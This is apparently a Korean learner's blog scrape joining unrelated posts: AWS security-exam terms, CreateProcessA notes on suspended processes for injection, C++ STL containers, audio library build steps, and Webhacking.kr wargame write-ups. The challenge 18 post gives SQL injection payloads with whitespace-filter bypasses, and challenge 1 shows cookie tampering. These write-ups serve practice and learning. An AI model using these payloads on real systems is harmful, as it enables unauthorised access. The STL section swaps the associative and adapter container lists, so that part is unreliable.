SCS-C02 시험에 나오는 주요 용어 정리 

용어 내용
Amazon GuardDuty
(
실시간 위협 감지)
AWS 계정에서 발생하는 실시간 이상 징후 감지 & 경고 제공
. 실시간으로 AWS CloudTrail로그, VPN흐름 로그 및 DNS 로그를 분석=> 비정상적인 행동을 탐지 & 악성 활동 또는 알려진 공격 패턴 식별
. 보안 위협에 대한 감지 및 알림을 위해 설계
네트워크 활동, 비정상적인 행위, 알려진 공격 패턴 등을 실시간으로 모니터링하여 보안 이상 징후를 감지하고 보안 사건을 관리
Amazon Detective
(
심층적인 보안 분석 및 조사)
AmazonGuardDuty가 제공하는 경고 및 알림을 분석하여 자동화된 보고서 제공
AWS CloudTrail AWS 계정의 모든 API 활동 추적 & 보존하는 로그 기록 서비스
. AWS 리소스의 API 호출을 추적 & 이벤트 기록
. 주로 보안 감사 및 규정 준수를 위해 사용
Amazon Athena 저장된 데이터를 쉽게 분석 (SQL 쿼리를 실행하여 S3에 저장된 데이터 분석하고 결과를 실시간 검색) ALB의 로그 수집, 과거 계정 활동 모니터링(30)
AWS CloudWatch AWS의 모니터링 및 관찰 서비스 (AWS 리소스의 성능 모니터링 & 로그 및 지표를 수집하여 분석 가능)
Amazon Inspector 감사
AWS Security Hub 중앙 대시보드 제공
Amazon Cognito 사용자 인증 권한 부여를 위한 AWS 관리형 서비스 (SAML,SSO)
Amazon EventBridge 이벤트 중심 아키텍처 구축 관리 AWS 서비스와 외부 서비스 발생하는 이벤트 캡처 라우팅

 

 

 

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

 

dwCreationFlags 

: 프로세스를 어떤 목적으로 생성할지 결정하는 플래그 (or로 다수 선택 가능.)

 

dwCreationFlags에는 다양한 플래그가 있는데, 그 중에서도 자식 프로세스를 생성할 수 있는 악성행위가 가능한 CREATE_SUSPENDED 플래그를 살펴볼 것임.

 

CREATE_SUSPENDED 

: 프로세스가 중지 상태로 생성 

중지 상태로 생성되기 때문에 스레드 우선순위를 변경하거나, 주소 공간 내 메모리를 변경하거나(INJECTION) 프로세스를 잡에 추가하는 등의 코드를 수행할 수 있다. 

 

 

자식 프로세스 생성

CREATE_SUSPENDED 값을 인자로 하여 대기 상태의 프로세스를 생성한다.

 

-------------------

 

9. LPPROCESS_INFORMATION lpProcessInformation (OUT Param)

- 프로세스가 초기화되기 전에 이 구조체에 정보를 넣는다

 

- CreateProcess 동작이 완료되고 TRUE를 리턴하기 직전에 PROCESS_INFORMATION 구조체를 채움

- hProcess와 hThread 멤버에 커널 오브젝트 핸들 값들을 각각 넣음

- 마찬가지로 ProcessID, ThreadID도 채워줌



Reference : https://wonjayk.tistory.com/277 

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa

컨테이너(Container)

: 임의 타입의 객체를 보관할 수 있는 컨테이너 (container)

다른 객체들을(원소) 보관하는 하나의 커다란 보관소

 

 

- 컨테이너의 종류 

 시퀀스 컨테이너(Sequence Container) 

  • vector  
  • deque (double ended queue) 
  • list

자료의 선형적인 집합이며 자료를 저장하는 기본 임무에 충실한 가장 일반적인 컨테이너이다. 삽입된 자료를 무조건 저장하며 입력되는 자료에 특별한 제약이나 관리 규칙은 없다. 사용자는 시퀀스의 임의 위치에 원하는 요소를 마음대로 삽입, 삭제할 수 있다. STL에는 벡터, 리스트, 데크 세 가지의 시퀀스 컨테이너가 제공된다.

 

 연관 컨테이너(Associative Container)

  • stack : LIFO (Last in First out)
  • queue : FIFO (First in First out)
  • priority_queue : 우선순위 큐 (Priority queue)

자료를 무조건 저장하기만 하는 것이 아니라 일정한 규칙에 따라 자료를 조직화하여 관리하는 컨테이너이다. 정렬이나 해시 등의 방법을 통해 삽입되는 자료를 항상 일정한 기준(오름차순, 해시 함수)에 맞는 위치에 저장해 놓으므로 검색 속도가 빠른 것이 장점이다. 표준 STL에는 정렬 연관 컨테이너인 셋, 맵 등의 컨테이너가 제공된다.

 

 어댑터 컨테이너 (Adapter Container) 

  • set 
  • multiset 
  • map 
  • multimap 
  • bitset

 시퀀스 컨테이너를 변형하여 자료를 미리 정해진 일정한 방식에 따라 관리하는 것이 특징이다. 스택, 큐, 우선 순위 큐 세 가지가 있는데 스택은 항상 LIFO의 원리로 동작하며 큐는 항상 FIFO의 원리로 동작한다. 자료를 넣고 빼는 순서를 외부에서 마음대로 조작할 수 없으며 컨테이너의 규칙대로 조작해야 한다.

 

 

From. https://taejusoul.tistory.com/83

https://modoocode.com/174

 

18번 문제 풀이 

 

 

 

이번 문제는 여러 가지 방식으로 풀 수 있다.

이미 id='guest' 로 고정되어 있기 때문에,

뒤에 no 값을 부정을 하고 or 를 적용하여 새롭게 admin 값을 적용할 수 있다.

혹은 

no 값 참으로 만들고, admin 값을 넣을 수 있다.

 

 

주석을 보면 admin's no = 2 임을 알 수 있다. 

고로 guest's no = 1 라고 추측할 수 있다.

 

1을 입력했을 때, "hi guest" 출력

 

 

 

select id from chall18 where id='guest' and no=$_GET[no]

 

1. 참 > or 를 사용하여 admin 승인

   no=2%0aor%0aid%3D%27admin%27   // 공백을 필터링하기 때문에 %20대신 %0a로 우회!

   no=2 or id='admin'

2. 거짓 > no를 부정하고 admin 승인 

  no=-1%0aor%0ano=2    // no=-1 or no=2

  no=-1%0aor%0a1%0alimit%0a1%2C1    // no=-1 or 1 limit 1,1  -> no 부정하고 항상 참인 결과를 만들어 limit 연산자를 사용하여 두번째 결과 값 출력하는 방법  

 

 

* 빈칸 우회 

' ' : ( ), /**/, %09, %0a, %0c, %0b, +

 

 

 내가 작성한 답!!

 

이것도 가능! 

 

첫번째 방법을 사용했다. 

 

limit 사용했을 때도 성공!

 

성공!

'War Game > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr : challenge(old) 1번 풀기  (0) 2019.09.25
Webhacking.kr 리뉴얼 : 회원 가입  (0) 2019.09.25

 

http://keunwoochoi.blogspot.com/2016/03/2.html

 

음성/음악신호+머신러닝 초심자를 위한 가이드 [2편]

최근우 연구 관련 블로그.

keunwoochoi.blogspot.com

 

 

http://blog.naver.com/PostView.nhn?blogId=mylogic&logNo=220988857132&redirect=Dlog&widgetTypeCall=true

 

Mel Frequency Cepstral Coefficient (MFCC) 란 무엇인가? - 음성 인식 알고리즘

MFCC !! 음성 인식에서 가장 널리 사용되는 알고리즘!! 음성 인식을 위하여 가장 먼저 해야할 것은입력...

blog.naver.com

 

https://buildmedia.readthedocs.org/media/pdf/aubio/latest/aubio.pdf

불러오는 중입니다...

 

이제 빌드가 되었으니 실제 pitch 변환 실습을 해보자! 

 

 

 

우선, Rubberband-program은 음성에 다양한 변조를 가능케 한다! 

pitch shift와 frequency 값을 올리고 내릴 수도 있다....!!

그 외 여러가지 기능들이 있는데, 아직 파악 중이다...

 

 

일단, 기본적으로 Rubberband-program은 

 

Usage: rubberband-program.exe [options] <infile.wav> <outfile.wav

 

로 동작한다.

 

 

 

inputfile : 변조할 음성 파일

outputfile : 산출될 음성 파일

options : -t, -T, ... -p ( --pitch ), -f (--frequency) ,...

 

 

다양한 options 기능!

 

option의 여러 기능 중에서도 pitch와 frequency 변환 실습을 진행해볼 것이다. 

 

 

먼저 적당한 샘플을 구해보자! 

 

 

 

 

https://breakfastquay.com/rubberband/code-doc/classRubberBand_1_1RubberBandStretcher.html

 

Rubber Band Library: RubberBand::RubberBandStretcher Class Reference

#include enum  Option {   OptionProcessOffline = 0x00000000, OptionProcessRealTime = 0x00000001, OptionStretchElastic = 0x00000000, OptionStretchPrecise = 0x00000010,   OptionTransientsCrisp = 0x00000000, OptionTransientsMixed = 0x00000100, OptionTransient

breakfastquay.com

 

 

(1) 환경 setting

 

 

필자는 Rubberband library를 사용하여 pitch 변조 실습을 해보았다. 

 

https://breakfastquay.com/rubberband/

 

Rubber Band Audio Time Stretcher Library

 

breakfastquay.com

 

 

 

[참고] https://superpowered.com/free-open-source-time-stretching-pitch-shifting

 

 

 

 

음성 변조 실습을 해보고 싶어서 찾아보니까 Rubber Band library가

오디오를 편집하고 다루기에 꽤 괜찮을 것 같아서 선택함!  

 

 

 

 

 

 

 

1. RubberBand Library 다운 

 

 

https://breakfastquay.com/rubberband/index.html

 

Rubber Band Audio Time Stretcher Library

 

breakfastquay.com

 

일단, RubberBand library를 사용한 pitch 변조 프로그램은 위의 사이트에서 소스코드를 다운받고, 빌드해주면 됨! 

 

하지만 빌드 시 오류가 나는데,

바로 sndfile.h 헤더 파일을 인식하지 못하는 오류가 나타남! 

그럼 sndfile.h 헤더 파일의 정체는?!

찾아보니까 음성 샘플들을 read & write 해주는 C언어 library임! 

 

< 참고 : Rubber Band Library 설명 >

https://breakfastquay.com/rubberband/code-doc/classRubberBand_1_1RubberBandStretcher.html

 

 

 

 

 

 

 

 

 

2. libsndfile 라이브러리 설치

 

 

http://www.mega-nerd.com/libsndfile/

 

libsndfile

nonpayments.bestowals --> displeases --> History -+- Features -+- Similar or Related Projects -+- News Development -+- Programming Interface -+- Bug Reporting -+- Download FAQ -+- Mailing Lists -+- Change Log -+- Licensing Information -+- See Also Libsndfi

www.mega-nerd.com

 

해당 사이트에서 libsndfile-1.0.28~.tar.gz 뭐시기 파일을 다운받고, 압축해제 시켜주면 됨

 

 

< 참고 : Libsndfile 의 함수 기능에 대한 설명 >

http://www.mega-nerd.com/libsndfile/api.html 

 

The libsndfile API

libsndfile Libsndfile is a library designed to allow the reading and writing of many different sampled sound file formats (such as MS Windows WAV and the Apple/SGI AIFF format) through one standard library interface. plazas --> During read and write operat

www.mega-nerd.com

 

 

 

 

 

 

 

 

 

3. 라이브러리, dll 경로 설정 해주기!

 

Rubberband 프로그램을 빌드하기 전에

sndfile 라이브러리의 헤더 파일과 dll 파일들의 경로를 설정해준다!

 

3-1. 헤더 파일 경로 설정 

 

 

3-2. dll 파일 경로 설정

 

 

 

< 참고 >

해당 블로그를 참고하면, 더 자세한 경로 설정 방법을 확인할 수 있다. 

https://elifelog.tistory.com/476

 

libsndfile.dll 파일 다운로드 및 오류 해결 방법

마이크로소프트 비주얼 스튜디오 닷넷의 비주얼 C++ 이나 비주얼 C 런타임의 라이브러리 파일 중 libsndfile.dll 동적 라이브러리 파일은 오디오 파일을 읽고 쓰기 위한 라이브러리 파일(A library for reading an..

elifelog.tistory.com

 

 

 

 

 

 

 

 

 

4. Rubberband program 빌드

 

빌드에 성공함을 확인할 수 있다.!

그치만 문제가 생겼다... 

 

rubberband-program을 실행시키면,

예상치 못한 libsndfile-1.dll 파일이 존재하지 않다는 오류가 뜬다..

분명, 빌드에 성공했는데도.. 도무지 실행이 되지 않는다.

 

찾아본 결과!

C:\Windows\System32 경로에 해당 dll 파일을 넣어주어야 한다. 

 

 

 

 

 

 

 

 

 

 

5. Rubberband Program 실행 

 

rubberband-program.exe -h 입력해보았더니 잘 실행됨을 볼 수 있다!

이제 음성변조 실습을 할 수 있다... 

 

오픈소스를 다운받고, 라이브러리 설정도 다 해주고, 빌드도 성공했는데, 실행시켰더니 libsndfile-1.dll 파일이 없다고 오류가 뜸! 

 

내가 라이브러리 설정을 잘 해줬는지 다시 봐도 진짜 아무리봐도 문제가 없었음! 

 

C:\Windows\System32 이 경로에 <- libsndfile-1.dll 넣어줬더니 바로 해결됨!!!!! 

 

ㅠㅠㅠㅠ 얼른 개발해야 되는데 이걸로 시간 너무 까먹음 ㅠ... 흑 ㅠㅠ

 

 

 

1번. 쿠키 변조 문제! 

 

 

- view - source -

 

<?php
  include "../../config.php";
  if($_GET['view-source'] == 1){ view_source(); }
  if(!$_COOKIE['user_lv']){
    SetCookie("user_lv","1",time()+86400*30,"/challenge/web-01/");
    echo("<meta http-equiv=refresh content=0>");
  }
?>
<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<?php
  if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>=6) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>5) solve(1);
  echo "<br>level : {$_COOKIE['user_lv']}";
?>
<br>
<a href=./?view-source=1>view-source</a>
</body>
</html>

 

< 핵심 >

user_lv cookie 값이

6보다 크거나 같으면 cookie 값이 1이 되고,

5보다 크면 문제가 풀린다. 

 

 

 

 

 쿠키 변조를 하기 위해서 크롬에서 EditThisCookie 확장 프로그램을 설치해야 한다. 

 

https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=ko

 

EditThisCookie

EditThisCookie는 쿠키 관리자입니다. 이것을 이용하여 쿠키를 추가하고, 삭제하고, 편집하고, 찾고, 보호하거나 막을 수 있습니다!

chrome.google.com

 

 

설치가 끝나면,

우측 상단에 쿠키 아이콘이 보이는데..

이 쿠키를 누르면 쿠기의 이름과 값에 대한 정보를 알 수 있다.

물론, 변조도 가능하다!  

 

 

 

다시 문제로 돌아가서! 

 

아까 view-source 핵심 코드만 다시 보면 

 

<?php
  if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>=6) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>5) solve(1);
  echo "<br>level : {$_COOKIE['user_lv']}";
?>

 

5 < user_lv cookie 값 < 6 정도로 쿠키 값을 변조하면 해결될 것 같은 느낌이다! 

 

 

해보자!

 

쿠키 값을 5.1로 변경하고, 초록 V 버튼을 누른다.

 

F5로 창을 새로고침한다. 

 

 

성공했다는 알림이 함께 뜬다! 

 

 

오예! 

'War Game > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr : challenge(old) 18번 풀기  (0) 2019.11.13
Webhacking.kr 리뉴얼 : 회원 가입  (0) 2019.09.25

 

이번에 Webhacking.kr 페이지가 리뉴얼 되었따아!!! 

 

이제 막 웹 공부를 시작하려던 참에 새단장이라니...  

공부할 맛 나겠당 히히 :) 

 

 

 

- 회원 가입-

 

 

 

 

Login/Joing 페이지에서 간단한 회원 가입 절차를 거치면 

 

귀여운 알람과 함께 회원 가입에 성공한다!

 

이제... 

문제를 풀 수 있다! 

 

 

그치만 ... 

 

 

 

 

challenge 파트는 아직 준비 중인 것 같다.

 

challenge(old) 부터 풀어야지 

 

ㅎㅇㅌ! 

 

:)

 

 

p.s. 웹 해킹 자체가 처음인지라... 시간이 꽤 걸릴 듯 하다... ㅠ 그래도 꾸준히 해야지! 

'War Game > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr : challenge(old) 18번 풀기  (0) 2019.11.13
Webhacking.kr : challenge(old) 1번 풀기  (0) 2019.09.25

+ Recent posts